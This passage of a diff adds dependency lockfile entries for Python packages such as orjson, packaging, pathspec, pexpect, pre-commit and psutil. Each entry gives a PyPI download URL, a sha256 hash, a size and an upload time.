"sha256:ae9e0b37a834cef7ce8f99de6498f8fad4a2c0bf6bfc3d02abd8ed56aa15b2de", size = 127968, upload-time = "2026-02-02T15:37:23.178Z" }, + { url = "https://files.pythonhosted.org/packages/07/29/a576bf36d73d60df06904d3844a9df08e25d59eba64363aaf8ec2f9bff41/orjson-3.11.7-cp310-cp310-win_amd64.whl", hash = "sha256:d772afdb22555f0c58cfc741bdae44180122b3616faa1ecadb595cd526e4c993", size = 125128, upload-time = "2026-02-02T15:37:24.329Z" }, + { url = "https://files.pythonhosted.org/packages/37/02/da6cb01fc6087048d7f61522c327edf4250f1683a58a839fdcc435746dd5/orjson-3.11.7-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9487abc2c2086e7c8eb9a211d2ce8855bae0e92586279d0d27b341d5ad76c85c", size = 228664, upload-time = "2026-02-02T15:37:25.542Z" }, + { url = "https://files.pythonhosted.org/packages/c1/c2/5885e7a5881dba9a9af51bc564e8967225a642b3e03d089289a35054e749/orjson-3.11.7-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:79cacb0b52f6004caf92405a7e1f11e6e2de8bdf9019e4f76b44ba045125cd6b", size = 125344, upload-time = "2026-02-02T15:37:26.92Z" }, + { url = "https://files.pythonhosted.org/packages/a4/1d/4e7688de0a92d1caf600dfd5fb70b4c5bfff51dfa61ac555072ef2d0d32a/orjson-3.11.7-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c2e85fe4698b6a56d5e2ebf7ae87544d668eb6bde1ad1226c13f44663f20ec9e", size = 128404, upload-time = "2026-02-02T15:37:28.108Z" }, + { url = "https://files.pythonhosted.org/packages/2f/b2/ec04b74ae03a125db7bd69cffd014b227b7f341e3261bf75b5eb88a1aa92/orjson-3.11.7-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b8d14b71c0b12963fe8a62aac87119f1afdf4cb88a400f61ca5ae581449efcb5", size = 123677, upload-time = "2026-02-02T15:37:30.287Z" }, + { url = "https://files.pythonhosted.org/packages/4c/69/f95bdf960605f08f827f6e3291fe243d8aa9c5c9ff017a8d7232209184c3/orjson-3.11.7-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:91c81ef070c8f3220054115e1ef468b1c9ce8497b4e526cb9f68ab4dc0a7ac62", size = 128950, upload-time = "2026-02-02T15:37:31.595Z" }, + { url = "https://files.pythonhosted.org/packages/a4/1b/de59c57bae1d148ef298852abd31909ac3089cff370dfd4cd84cc99cbc42/orjson-3.11.7-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:411ebaf34d735e25e358a6d9e7978954a9c9d58cfb47bc6683cdc3964cd2f910", size = 141756, upload-time = "2026-02-02T15:37:32.985Z" }, + { url = "https://files.pythonhosted.org/packages/ee/9e/9decc59f4499f695f65c650f6cfa6cd4c37a3fbe8fa235a0a3614cb54386/orjson-3.11.7-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a16bcd08ab0bcdfc7e8801d9c4a9cc17e58418e4d48ddc6ded4e9e4b1a94062b", size = 130812, upload-time = "2026-02-02T15:37:34.204Z" }, + { url = "https://files.pythonhosted.org/packages/28/e6/59f932bcabd1eac44e334fe8e3281a92eacfcb450586e1f4bde0423728d8/orjson-3.11.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c0b51672e466fd7e56230ffbae7f1639e18d0ce023351fb75da21b71bc2c960", size = 133444, upload-time = "2026-02-02T15:37:35.446Z" }, + { url = "https://files.pythonhosted.org/packages/f1/36/b0f05c0eaa7ca30bc965e37e6a2956b0d67adb87a9872942d3568da846ae/orjson-3.11.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:136dcd6a2e796dfd9ffca9fc027d778567b0b7c9968d092842d3c323cef88aa8", size = 138609, upload-time = "2026-02-02T15:37:36.657Z" }, + { url = "https://files.pythonhosted.org/packages/b8/03/58ec7d302b8d86944c60c7b4b82975d5161fcce4c9bc8c6cb1d6741b6115/orjson-3.11.7-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:7ba61079379b0ae29e117db13bda5f28d939766e410d321ec1624afc6a0b0504", size = 408918, upload-time = "2026-02-02T15:37:38.076Z" }, + { url = "https://files.pythonhosted.org/packages/06/3a/868d65ef9a8b99be723bd510de491349618abd9f62c826cf206d962db295/orjson-3.11.7-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:0527a4510c300e3b406591b0ba69b5dc50031895b0a93743526a3fc45f59d26e", size = 143998, upload-time = "2026-02-02T15:37:39.706Z" }, + { url = "https://files.pythonhosted.org/packages/5b/c7/1e18e1c83afe3349f4f6dc9e14910f0ae5f82eac756d1412ea4018938535/orjson-3.11.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a709e881723c9b18acddcfb8ba357322491ad553e277cf467e1e7e20e2d90561", size = 134802, upload-time = "2026-02-02T15:37:41.002Z" }, + { url = "https://files.pythonhosted.org/packages/d4/0b/ccb7ee1a65b37e8eeb8b267dc953561d72370e85185e459616d4345bab34/orjson-3.11.7-cp311-cp311-win32.whl", hash = "sha256:c43b8b5bab288b6b90dac410cca7e986a4fa747a2e8f94615aea407da706980d", size = 127828, upload-time = "2026-02-02T15:37:42.241Z" }, + { url = "https://files.pythonhosted.org/packages/af/9e/55c776dffda3f381e0f07d010a4f5f3902bf48eaba1bb7684d301acd4924/orjson-3.11.7-cp311-cp311-win_amd64.whl", hash = "sha256:6543001328aa857187f905308a028935864aefe9968af3848401b6fe80dbb471", size = 124941, upload-time = "2026-02-02T15:37:43.444Z" }, + { url = "https://files.pythonhosted.org/packages/aa/8e/424a620fa7d263b880162505fb107ef5e0afaa765b5b06a88312ac291560/orjson-3.11.7-cp311-cp311-win_arm64.whl", hash = "sha256:1ee5cc7160a821dfe14f130bc8e63e7611051f964b463d9e2a3a573204446a4d", size = 126245, upload-time = "2026-02-02T15:37:45.18Z" }, + { url = "https://files.pythonhosted.org/packages/80/bf/76f4f1665f6983385938f0e2a5d7efa12a58171b8456c252f3bae8a4cf75/orjson-3.11.7-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:bd03ea7606833655048dab1a00734a2875e3e86c276e1d772b2a02556f0d895f", size = 228545, upload-time = "2026-02-02T15:37:46.376Z" }, + { url = "https://files.pythonhosted.org/packages/79/53/6c72c002cb13b5a978a068add59b25a8bdf2800ac1c9c8ecdb26d6d97064/orjson-3.11.7-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:89e440ebc74ce8ab5c7bc4ce6757b4a6b1041becb127df818f6997b5c71aa60b", size = 125224, upload-time = "2026-02-02T15:37:47.697Z" }, + { url = "https://files.pythonhosted.org/packages/2c/83/10e48852865e5dd151bdfe652c06f7da484578ed02c5fca938e3632cb0b8/orjson-3.11.7-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5ede977b5fe5ac91b1dffc0a517ca4542d2ec8a6a4ff7b2652d94f640796342a", size = 128154, upload-time = "2026-02-02T15:37:48.954Z" }, + { url = "https://files.pythonhosted.org/packages/6e/52/a66e22a2b9abaa374b4a081d410edab6d1e30024707b87eab7c734afe28d/orjson-3.11.7-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b7b1dae39230a393df353827c855a5f176271c23434cfd2db74e0e424e693e10", size = 123548, upload-time = "2026-02-02T15:37:50.187Z" }, + { url = "https://files.pythonhosted.org/packages/de/38/605d371417021359f4910c496f764c48ceb8997605f8c25bf1dfe58c0ebe/orjson-3.11.7-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ed46f17096e28fb28d2975834836a639af7278aa87c84f68ab08fbe5b8bd75fa", size = 129000, upload-time = "2026-02-02T15:37:51.426Z" }, + { url = "https://files.pythonhosted.org/packages/44/98/af32e842b0ffd2335c89714d48ca4e3917b42f5d6ee5537832e069a4b3ac/orjson-3.11.7-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3726be79e36e526e3d9c1aceaadbfb4a04ee80a72ab47b3f3c17fefb9812e7b8", size = 141686, upload-time = "2026-02-02T15:37:52.607Z" }, + { url = "https://files.pythonhosted.org/packages/96/0b/fc793858dfa54be6feee940c1463370ece34b3c39c1ca0aa3845f5ba9892/orjson-3.11.7-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0724e265bc548af1dedebd9cb3d24b4e1c1e685a343be43e87ba922a5c5fff2f", size = 130812, upload-time = "2026-02-02T15:37:53.944Z" }, + { url = "https://files.pythonhosted.org/packages/dc/91/98a52415059db3f374757d0b7f0f16e3b5cd5976c90d1c2b56acaea039e6/orjson-3.11.7-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e7745312efa9e11c17fbd3cb3097262d079da26930ae9ae7ba28fb738367cbad", size = 133440, upload-time = "2026-02-02T15:37:55.615Z" }, + { url = "https://files.pythonhosted.org/packages/dc/b6/cb540117bda61791f46381f8c26c8f93e802892830a6055748d3bb1925ab/orjson-3.11.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f904c24bdeabd4298f7a977ef14ca2a022ca921ed670b92ecd16ab6f3d01f867", size = 138386, upload-time = "2026-02-02T15:37:56.814Z" }, + { url = "https://files.pythonhosted.org/packages/63/1a/50a3201c334a7f17c231eee5f841342190723794e3b06293f26e7cf87d31/orjson-3.11.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b9fc4d0f81f394689e0814617aadc4f2ea0e8025f38c226cbf22d3b5ddbf025d", size = 408853, upload-time = "2026-02-02T15:37:58.291Z" }, + { url = "https://files.pythonhosted.org/packages/87/cd/8de1c67d0be44fdc22701e5989c0d015a2adf391498ad42c4dc589cd3013/orjson-3.11.7-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:849e38203e5be40b776ed2718e587faf204d184fc9a008ae441f9442320c0cab", size = 144130, upload-time = "2026-02-02T15:38:00.163Z" }, + { url = "https://files.pythonhosted.org/packages/0f/fe/d605d700c35dd55f51710d159fc54516a280923cd1b7e47508982fbb387d/orjson-3.11.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:4682d1db3bcebd2b64757e0ddf9e87ae5f00d29d16c5cdf3a62f561d08cc3dd2", size = 134818, upload-time = "2026-02-02T15:38:01.507Z" }, + { url = "https://files.pythonhosted.org/packages/e4/e4/15ecc67edb3ddb3e2f46ae04475f2d294e8b60c1825fbe28a428b93b3fbd/orjson-3.11.7-cp312-cp312-win32.whl", hash = "sha256:f4f7c956b5215d949a1f65334cf9d7612dde38f20a95f2315deef167def91a6f", size = 127923, upload-time = "2026-02-02T15:38:02.75Z" }, + { url = "https://files.pythonhosted.org/packages/34/70/2e0855361f76198a3965273048c8e50a9695d88cd75811a5b46444895845/orjson-3.11.7-cp312-cp312-win_amd64.whl", hash = "sha256:bf742e149121dc5648ba0a08ea0871e87b660467ef168a3a5e53bc1fbd64bb74", size = 125007, upload-time = "2026-02-02T15:38:04.032Z" }, + { url = "https://files.pythonhosted.org/packages/68/40/c2051bd19fc467610fed469dc29e43ac65891571138f476834ca192bc290/orjson-3.11.7-cp312-cp312-win_arm64.whl", hash = "sha256:26c3b9132f783b7d7903bf1efb095fed8d4a3a85ec0d334ee8beff3d7a4749d5", size = 126089, upload-time = "2026-02-02T15:38:05.297Z" }, + { url = "https://files.pythonhosted.org/packages/89/25/6e0e52cac5aab51d7b6dcd257e855e1dec1c2060f6b28566c509b4665f62/orjson-3.11.7-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:1d98b30cc1313d52d4af17d9c3d307b08389752ec5f2e5febdfada70b0f8c733", size = 228390, upload-time = "2026-02-02T15:38:06.8Z" }, + { url = "https://files.pythonhosted.org/packages/a5/29/a77f48d2fc8a05bbc529e5ff481fb43d914f9e383ea2469d4f3d51df3d00/orjson-3.11.7-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:d897e81f8d0cbd2abb82226d1860ad2e1ab3ff16d7b08c96ca00df9d45409ef4", size = 125189, upload-time = "2026-02-02T15:38:08.181Z" }, + { url = "https://files.pythonhosted.org/packages/89/25/0a16e0729a0e6a1504f9d1a13cdd365f030068aab64cec6958396b9969d7/orjson-3.11.7-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:814be4b49b228cfc0b3c565acf642dd7d13538f966e3ccde61f4f55be3e20785", size = 128106, upload-time = "2026-02-02T15:38:09.41Z" }, + { url = "https://files.pythonhosted.org/packages/66/da/a2e505469d60666a05ab373f1a6322eb671cb2ba3a0ccfc7d4bc97196787/orjson-3.11.7-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d06e5c5fed5caedd2e540d62e5b1c25e8c82431b9e577c33537e5fa4aa909539", size = 123363, upload-time = "2026-02-02T15:38:10.73Z" }, + { url = "https://files.pythonhosted.org/packages/23/bf/ed73f88396ea35c71b38961734ea4a4746f7ca0768bf28fd551d37e48dd0/orjson-3.11.7-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:31c80ce534ac4ea3739c5ee751270646cbc46e45aea7576a38ffec040b4029a1", size = 129007, upload-time = "2026-02-02T15:38:12.138Z" }, + { url = "https://files.pythonhosted.org/packages/73/3c/b05d80716f0225fc9008fbf8ab22841dcc268a626aa550561743714ce3bf/orjson-3.11.7-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f50979824bde13d32b4320eedd513431c921102796d86be3eee0b58e58a3ecd1", size = 141667, upload-time = "2026-02-02T15:38:13.398Z" }, + { url = "https://files.pythonhosted.org/packages/61/e8/0be9b0addd9bf86abfc938e97441dcd0375d494594b1c8ad10fe57479617/orjson-3.11.7-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9e54f3808e2b6b945078c41aa8d9b5834b28c50843846e97807e5adb75fa9705", size = 130832, upload-time = "2026-02-02T15:38:14.698Z" }, + { url = "https://files.pythonhosted.org/packages/c9/ec/c68e3b9021a31d9ec15a94931db1410136af862955854ed5dd7e7e4f5bff/orjson-3.11.7-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a12b80df61aab7b98b490fe9e4879925ba666fccdfcd175252ce4d9035865ace", size = 133373, upload-time = "2026-02-02T15:38:16.109Z" }, + { url = "https://files.pythonhosted.org/packages/d2/45/f3466739aaafa570cc8e77c6dbb853c48bf56e3b43738020e2661e08b0ac/orjson-3.11.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:996b65230271f1a97026fd0e6a753f51fbc0c335d2ad0c6201f711b0da32693b", size = 138307, upload-time = "2026-02-02T15:38:17.453Z" }, + { url = "https://files.pythonhosted.org/packages/e1/84/9f7f02288da1ffb31405c1be07657afd1eecbcb4b64ee2817b6fe0f785fa/orjson-3.11.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:ab49d4b2a6a1d415ddb9f37a21e02e0d5dbfe10b7870b21bf779fc21e9156157", size = 408695, upload-time = "2026-02-02T15:38:18.831Z" }, + { url = "https://files.pythonhosted.org/packages/18/07/9dd2f0c0104f1a0295ffbe912bc8d63307a539b900dd9e2c48ef7810d971/orjson-3.11.7-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:390a1dce0c055ddf8adb6aa94a73b45a4a7d7177b5c584b8d1c1947f2ba60fb3", size = 144099, upload-time = "2026-02-02T15:38:20.28Z" }, + { url = "https://files.pythonhosted.org/packages/a5/66/857a8e4a3292e1f7b1b202883bcdeb43a91566cf59a93f97c53b44bd6801/orjson-3.11.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:1eb80451a9c351a71dfaf5b7ccc13ad065405217726b59fdbeadbcc544f9d223", size = 134806, upload-time = "2026-02-02T15:38:22.186Z" }, + { url = "https://files.pythonhosted.org/packages/0a/5b/6ebcf3defc1aab3a338ca777214966851e92efb1f30dc7fc8285216e6d1b/orjson-3.11.7-cp313-cp313-win32.whl", hash = "sha256:7477aa6a6ec6139c5cb1cc7b214643592169a5494d200397c7fc95d740d5fcf3", size = 127914, upload-time = "2026-02-02T15:38:23.511Z" }, + { url = "https://files.pythonhosted.org/packages/00/04/c6f72daca5092e3117840a1b1e88dfc809cc1470cf0734890d0366b684a1/orjson-3.11.7-cp313-cp313-win_amd64.whl", hash = "sha256:b9f95dcdea9d4f805daa9ddf02617a89e484c6985fa03055459f90e87d7a0757", size = 124986, upload-time = "2026-02-02T15:38:24.836Z" }, + { url = "https://files.pythonhosted.org/packages/03/ba/077a0f6f1085d6b806937246860fafbd5b17f3919c70ee3f3d8d9c713f38/orjson-3.11.7-cp313-cp313-win_arm64.whl", hash = "sha256:800988273a014a0541483dc81021247d7eacb0c845a9d1a34a422bc718f41539", size = 126045, upload-time = "2026-02-02T15:38:26.216Z" }, + { url = "https://files.pythonhosted.org/packages/e9/1e/745565dca749813db9a093c5ebc4bac1a9475c64d54b95654336ac3ed961/orjson-3.11.7-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:de0a37f21d0d364954ad5de1970491d7fbd0fb1ef7417d4d56a36dc01ba0c0a0", size = 228391, upload-time = "2026-02-02T15:38:27.757Z" }, + { url = "https://files.pythonhosted.org/packages/46/19/e40f6225da4d3aa0c8dc6e5219c5e87c2063a560fe0d72a88deb59776794/orjson-3.11.7-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:c2428d358d85e8da9d37cba18b8c4047c55222007a84f97156a5b22028dfbfc0", size = 125188, upload-time = "2026-02-02T15:38:29.241Z" }, + { url = "https://files.pythonhosted.org/packages/9d/7e/c4de2babef2c0817fd1f048fd176aa48c37bec8aef53d2fa932983032cce/orjson-3.11.7-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c4bc6c6ac52cdaa267552544c73e486fecbd710b7ac09bc024d5a78555a22f6", size = 128097, upload-time = "2026-02-02T15:38:30.618Z" }, + { url = "https://files.pythonhosted.org/packages/eb/74/233d360632bafd2197f217eee7fb9c9d0229eac0c18128aee5b35b0014fe/orjson-3.11.7-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bd0d68edd7dfca1b2eca9361a44ac9f24b078de3481003159929a0573f21a6bf", size = 123364, upload-time = "2026-02-02T15:38:32.363Z" }, + { url = "https://files.pythonhosted.org/packages/79/51/af79504981dd31efe20a9e360eb49c15f06df2b40e7f25a0a52d9ae888e8/orjson-3.11.7-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:623ad1b9548ef63886319c16fa317848e465a21513b31a6ad7b57443c3e0dcf5", size = 129076, upload-time = "2026-02-02T15:38:33.68Z" }, + { url = "https://files.pythonhosted.org/packages/67/e2/da898eb68b72304f8de05ca6715870d09d603ee98d30a27e8a9629abc64b/orjson-3.11.7-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6e776b998ac37c0396093d10290e60283f59cfe0fc3fccbd0ccc4bd04dd19892", size = 141705, upload-time = "2026-02-02T15:38:34.989Z" }, + { url = "https://files.pythonhosted.org/packages/c5/89/15364d92acb3d903b029e28d834edb8780c2b97404cbf7929aa6b9abdb24/orjson-3.11.7-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:652c6c3af76716f4a9c290371ba2e390ede06f6603edb277b481daf37f6f464e", size = 130855, upload-time = "2026-02-02T15:38:36.379Z" }, + { url = "https://files.pythonhosted.org/packages/c2/8b/ecdad52d0b38d4b8f514be603e69ccd5eacf4e7241f972e37e79792212ec/orjson-3.11.7-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a56df3239294ea5964adf074c54bcc4f0ccd21636049a2cf3ca9cf03b5d03cf1", size = 133386, upload-time = "2026-02-02T15:38:37.704Z" }, + { url = "https://files.pythonhosted.org/packages/b9/0e/45e1dcf10e17d0924b7c9162f87ec7b4ca79e28a0548acf6a71788d3e108/orjson-3.11.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:bda117c4148e81f746655d5a3239ae9bd00cb7bc3ca178b5fc5a5997e9744183", size = 138295, upload-time = "2026-02-02T15:38:39.096Z" }, + { url = "https://files.pythonhosted.org/packages/63/d7/4d2e8b03561257af0450f2845b91fbd111d7e526ccdf737267108075e0ba/orjson-3.11.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:23d6c20517a97a9daf1d48b580fcdc6f0516c6f4b5038823426033690b4d2650", size = 408720, upload-time = "2026-02-02T15:38:40.634Z" }, + { url = "https://files.pythonhosted.org/packages/78/cf/d45343518282108b29c12a65892445fc51f9319dc3c552ceb51bb5905ed2/orjson-3.11.7-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:8ff206156006da5b847c9304b6308a01e8cdbc8cce824e2779a5ba71c3def141", size = 144152, upload-time = "2026-02-02T15:38:42.262Z" }, + { url = "https://files.pythonhosted.org/packages/a9/3a/d6001f51a7275aacd342e77b735c71fa04125a3f93c36fee4526bc8c654e/orjson-3.11.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:962d046ee1765f74a1da723f4b33e3b228fe3a48bd307acce5021dfefe0e29b2", size = 134814, upload-time = "2026-02-02T15:38:43.627Z" }, + { url = "https://files.pythonhosted.org/packages/1d/d3/f19b47ce16820cc2c480f7f1723e17f6d411b3a295c60c8ad3aa9ff1c96a/orjson-3.11.7-cp314-cp314-win32.whl", hash = "sha256:89e13dd3f89f1c38a9c9eba5fbf7cdc2d1feca82f5f290864b4b7a6aac704576", size = 127997, upload-time = "2026-02-02T15:38:45.06Z" }, + { url = "https://files.pythonhosted.org/packages/12/df/172771902943af54bf661a8d102bdf2e7f932127968080632bda6054b62c/orjson-3.11.7-cp314-cp314-win_amd64.whl", hash = "sha256:845c3e0d8ded9c9271cd79596b9b552448b885b97110f628fb687aee2eed11c1", size = 124985, upload-time = "2026-02-02T15:38:46.388Z" }, + { url = "https://files.pythonhosted.org/packages/6f/1c/f2a8d8a1b17514660a614ce5f7aac74b934e69f5abc2700cc7ced882a009/orjson-3.11.7-cp314-cp314-win_arm64.whl", hash = "sha256:4a2e9c5be347b937a2e0203866f12bba36082e89b402ddb9e927d5822e43088d", size = 126038, upload-time = "2026-02-02T15:38:47.703Z" }, +] + +[[package]] +name = "packaging" +version = "26.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/65/ee/299d360cdc32edc7d2cf530f3accf79c4fca01e96ffc950d8a52213bd8e4/packaging-26.0.tar.gz", hash = "sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4", size = 143416, upload-time = "2026-01-21T20:50:39.064Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/b9/c538f279a4e237a006a2c98387d081e9eb060d203d8ed34467cc0f0b9b53/packaging-26.0-py3-none-any.whl", hash = "sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529", size = 74366, upload-time = "2026-01-21T20:50:37.788Z" }, +] + +[[package]] +name = "paginate" +version = "0.5.7" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ec/46/68dde5b6bc00c1296ec6466ab27dddede6aec9af1b99090e1107091b3b84/paginate-0.5.7.tar.gz", hash = "sha256:22bd083ab41e1a8b4f3690544afb2c60c25e5c9a63a30fa2f483f6c60c8e5945", size = 19252, upload-time = "2024-08-25T14:17:24.139Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/90/96/04b8e52da071d28f5e21a805b19cb9390aa17a47462ac87f5e2696b9566d/paginate-0.5.7-py2.py3-none-any.whl", hash = "sha256:b885e2af73abcf01d9559fd5216b57ef722f8c42affbb63942377668e35c7591", size = 13746, upload-time = "2024-08-25T14:17:22.55Z" }, +] + +[[package]] +name = "pathspec" +version = "1.0.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fa/36/e27608899f9b8d4dff0617b2d9ab17ca5608956ca44461ac14ac48b44015/pathspec-1.0.4.tar.gz", hash = "sha256:0210e2ae8a21a9137c0d470578cb0e595af87edaa6ebf12ff176f14a02e0e645", size = 131200, upload-time = "2026-01-27T03:59:46.938Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ef/3c/2c197d226f9ea224a9ab8d197933f9da0ae0aac5b6e0f884e2b8d9c8e9f7/pathspec-1.0.4-py3-none-any.whl", hash = "sha256:fb6ae2fd4e7c921a165808a552060e722767cfa526f99ca5156ed2ce45a5c723", size = 55206, upload-time = "2026-01-27T03:59:45.137Z" }, +] + +[[package]] +name = "pexpect" +version = "4.9.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "ptyprocess" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/42/92/cc564bf6381ff43ce1f4d06852fc19a2f11d180f23dc32d9588bee2f149d/pexpect-4.9.0.tar.gz", hash = "sha256:ee7d41123f3c9911050ea2c2dac107568dc43b2d3b0c7557a33212c398ead30f", size = 166450, upload-time = "2023-11-25T09:07:26.339Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9e/c3/059298687310d527a58bb01f3b1965787ee3b40dce76752eda8b44e9a2c5/pexpect-4.9.0-py2.py3-none-any.whl", hash = "sha256:7236d1e080e4936be2dc3e326cec0af72acf9212a7e1d060210e70a47e253523", size = 63772, upload-time = "2023-11-25T06:56:14.81Z" }, +] + +[[package]] +name = "platformdirs" +version = "4.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/20/e5/474d0a8508029286b905622e6929470fb84337cfa08f9d09fbb624515249/platformdirs-4.6.0.tar.gz", hash = "sha256:4a13c2db1071e5846c3b3e04e5b095c0de36b2a24be9a3bc0145ca66fce4e328", size = 23433, upload-time = "2026-02-12T14:36:21.288Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/10/1b0dcf51427326f70e50d98df21b18c228117a743a1fc515a42f8dc7d342/platformdirs-4.6.0-py3-none-any.whl", hash = "sha256:dd7f808d828e1764a22ebff09e60f175ee3c41876606a6132a688d809c7c9c73", size = 19549, upload-time = "2026-02-12T14:36:19.743Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "pre-commit" +version = "4.5.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cfgv" }, + { name = "identify" }, + { name = "nodeenv" }, + { name = "pyyaml" }, + { name = "virtualenv" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/40/f1/6d86a29246dfd2e9b6237f0b5823717f60cad94d47ddc26afa916d21f525/pre_commit-4.5.1.tar.gz", hash = "sha256:eb545fcff725875197837263e977ea257a402056661f09dae08e4b149b030a61", size = 198232, upload-time = "2025-12-16T21:14:33.552Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5d/19/fd3ef348460c80af7bb4669ea7926651d1f95c23ff2df18b9d24bab4f3fa/pre_commit-4.5.1-py2.py3-none-any.whl", hash = "sha256:3b3afd891e97337708c1674210f8eba659b52a38ea5f822ff142d10786221f77", size = 226437, upload-time = "2025-12-16T21:14:32.409Z" }, +] + +[[package]] +name = "psutil" +version = "7.2.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/aa/c6/d1ddf4abb55e93cebc4f2ed8b5d6dbad109ecb8d63748dd2b20ab5e57ebe/psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372", size = 493740, upload-time = "2026-01-28T18:14:54.428Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/51/08/510cbdb69c25a96f4ae523f733cdc963ae654904e8db864c07585ef99875/psutil-7.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b", size = 130595, upload-time = "2026-01-28T18:14:57.293Z" }, + { url = "https://files.pythonhosted.org/packages/d6/f5/97baea3fe7a5a9af7436301f85490905379b1c6f2dd51fe3ecf24b4c5fbf/psutil-7.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea", size = 131082, upload-time = "2026-01-28T18:14:59.732Z" }, + { url = 